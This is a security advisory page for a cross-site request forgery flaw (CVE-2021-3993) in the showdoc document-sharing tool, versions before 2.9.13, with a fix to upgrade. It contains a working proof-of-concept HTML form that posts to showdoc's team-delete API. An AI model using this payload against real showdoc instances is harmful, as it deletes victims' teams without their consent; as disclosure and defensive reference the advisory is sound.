Cross-site Request Forgery (CSRF) Affecting showdoc/showdoc package, versions <2.9.13


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.07% (33rd percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Cross-site Request Forgery (CSRF) vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PHP-SHOWDOCSHOWDOC-1933770
  • published1 Dec 2021
  • disclosed1 Dec 2021
  • creditamammad

Introduced: 1 Dec 2021

CVE-2021-3993  (opens in a new tab)
CWE-352  (opens in a new tab)

How to fix?

Upgrade showdoc/showdoc to version 2.9.13 or higher.

Overview

showdoc/showdoc is a tool for an IT team to share documents online.

Affected versions of this package are vulnerable to Cross-site Request Forgery (CSRF) via the cookie named PHPSESSID which doesn't have strict flag.

###POC:

1.replace 38046 with the team id

2.open poc.html and click on submit button.

3.after that the team with id 38046 or your replaced team id will be deleted.

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://www.showdoc.com.cn/server/index.php?s=/api/team/delete" method="POST">
      <input type="hidden" name="id" value="38046" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

References

CVSS Scores

version 3.1